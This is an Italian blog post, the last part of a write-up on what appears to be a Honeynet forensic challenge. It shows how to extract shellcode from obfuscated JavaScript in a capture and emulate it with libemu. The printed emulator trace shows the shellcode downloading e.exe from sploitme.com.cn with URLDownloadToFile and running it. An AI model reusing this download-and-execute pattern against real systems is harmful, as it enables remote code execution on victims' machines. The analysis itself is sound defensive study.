Questa è la parte finale della soluzione. Le precedenti sono qui e qui.
La nona domanda chiedeva quali azioni fossero eseguite dagli shellcode, di elencarli (insieme all’hash MD5 del binario) e di mostrare le differenze fra loro.
Gli shellcode sono tutti contenuti nel pacchetto #496, all’interno del codice Javascript offuscato. L’unica differenza viene da un URL codificato all’interno degli shellcode stessi, in cui varia il valore del solo parametro “e” di tipo url-encoded.
Come estrarre gli shellcode è abbastanza semplice: ho usato un copia e incolla del blocco codificato in UTF in un comando shell per convertire il simbolo di percentuale in backslash, poi ho scritto tre-righe-tre di Python per trasformare il tutto in un file binario. Questo il comando shell:
$ echo "%uc033%u8B64%u3040...." | tr "%" "\\"
Questa invece la sequenza dei comandi Python:
import io
import codecs
f = io.open('spreadsheet.bin','w',1,'utf-16')
a=u'\uC033\u8B64\u3040....' (output dal comando tr)
f.write(a)
f.close()
Il risultato è un file codificato in UTF, con in testa il BOM (Byte Order Mark), i due byte 0xFE e 0xFF, che a noi non servono, e quindi li tagliamo con il comando:
$ dd if=aolwinamp.utf of=spreadsheet.bin bs=1 skip=2
Et-voilà, ora abbiamo lo shellcode in binario pulito. Come capire cosa faccia, è tutto un altro paio di maniche. Procedere al solo disassembly è inutile, in quanto quasi certamente verranno chiamate funzioni proprie del sistema operativo, che in assembler sono delle semplici “call” con un indirizzo fisico, totalmente inintelligibili. Viene in aiuto un programma, creato dagli stessi del progetto Honeynet, chiamato libemu.
Occorre scaricarlo e compilare gli esempi, fra cui c’è sctest, che “esegue” lo shellcode tracciandone le azioni e le funzioni di sistema chiamate, oltre alle eventuali librerie utilizzate.
Fin qui niente di strano, se non fosse che lo shellcode in esame contiene una chiamata ad una funzione di sistema che non è compresa fra quelle emulate, GetTempPathA, quindi libemu esce con un messaggio di errore, dato che non ha idea di come “emulare” questa funzione. Una ricerca sul sito Microsoft dedicato agli sviluppatori e si trova la definizione della funzione, con i parametri in ingresso ed il valore di ritorno atteso. Poi occorre mettere mano al sorgente di libemu per creare un “hook” alla funzione mancante. Basta copiare il codice di una simile, cambiando opportunamente i parametri ed il valore di ritorno, poi modificare i vari header per includere la funzione fra quelle conosciute. Ricompilare (correggere gli inevitabili errori…) e riprovare. Ecco l’output:
$ /opt/libemu/bin/sctest -Svgs 1000000 < spreadsheet.bin
verbose = 1
success offset = 0x00000000
Hook me Captain Cook!
userhooks.c:127 user_hook_ExitThread
ExitThread(0)
stepcount 295995
UINT GetTempPath (
LPTSTR lpBuffer = 0x0012fe18 =>
none;
UINT uSize = 136;
) = 19;
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x0012fe04 =>
= "urlmon.dll";
) = 0x7df20000;
HRESULT URLDownloadToFile (
LPUNKNOWN pCaller = 0x00000000 =>
none;
LPCTSTR szURL = 0x004170e0 =>
= "http://sploitme.com.cn/fg/load.php?e=8leCursorInfo";
LPCTSTR szFileName = 0x0012fe18 =>
= "e.exe";
DWORD dwReserved = 0;
LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
LPCSTR lpCmdLine = 0x0012fe18 =>
= "e.exe";
UINT uCmdShow = 0;
) = 32;
void ExitThread (
DWORD dwExitCode = 0;
) = 0;
Tradotto: viene scaricato un file, chiamato poi “e.exe”, dall’URL http://sploitme.com.cn/fg/load.php?e=8, e mandato in esecuzione.
Nell’attuale versione di libemu non è più necessario fare tutta la trafila, la chiamata di sistema è già correttamente emulata.
La decima domanda chiedeva se vi fosse coinvolto un malware e quale ne fosse lo scopo. In cinque occasioni viene scaricato un file eseguibile, identico in tutte le istanze, che non viene identificato da nessun antivirus come pericoloso. Eseguito in una macchina virtuale risulta in un errore di tipo Access Violation (0xc0000005), ed anche disabilitando la “Executable Prevention Protection” non si ottiene nulla.
Usando il comando strings sull’eseguibile si trovano tre stringhe significative, una delle quali è il path completo per lanciare Internet Explorer, nella versione inglese di Windows però, visto che il path è cablato nell’eseguibile e usa la directory “Program Files”.
L’azione dell’eseguibile è probabilmente lanciare Internet Explorer e puntarlo ad un sito particolare, nel caso in esame verso il sito del progetto Honeynet.
Ed eccoci alla domanda bonus, che era offuscata usando una semplice codifica Base64. Una volta decodificata, la domanda verte sulla timeline, ossia sulla collocazione temporale degli eventi registrati. In pratica, mentre la cattura appare iniziata il primo di gennaio 2010 all’una di notte, all’interno di alcuni protocolli vi sono riferimenti temporali che riportano una data differente, il 2 febbraio 2010 alle ore 19.
La spiegazione più semplice è che sia stata modificata la data di inizio, e che la cattura sia avvenuta in diretta, come mostrano alcune indicazioni riguardo pause nell’elaborazione e la concordanza in tutti i pacchetti che riportano una collocazione temporale insita nel protocollo stesso (HTTP ad esempio).
Questo conclude l’analisi.
Cosa si può imparare da questa sfida
Personalmente, conoscevo già alcune delle tecniche utilizzate e necessarie per risolvere l’enigma, ma molte altre mi erano sconosciute e le ho dovute acquisire. L’uso di libemu, l’uso di UTF e del BOM, le funzioni di Python per la codifica UTF, per citarne qualcuna.
Naturalmente, il poter risolvere la sfida richiedeva competenze in vari campi: protocolli di rete, linguaggi di programmazione, programmazione sicura, tecniche di sfruttamento delle falle di sicurezza, conoscenza di HTML/CSS e del DOM. Senza queste è impossibile venirne a capo, ed è inutile provarci.
E’ importante capire che non è l’uso degli strumenti, ad essere importante, ma il contesto e lo scopo per cui si utilizzano. Usare libemu è abbastanza banale, ma capire quando usarlo e interpretarne i risultati non è insito nel funzionamento dello strumento, ma spetta all’utilizzatore, cioè a noi. Non è la racchetta che fa il tennista.
Chiudiamo qui. A breve la soluzione della sfida successiva, molto più impegnativa, almeno per me.

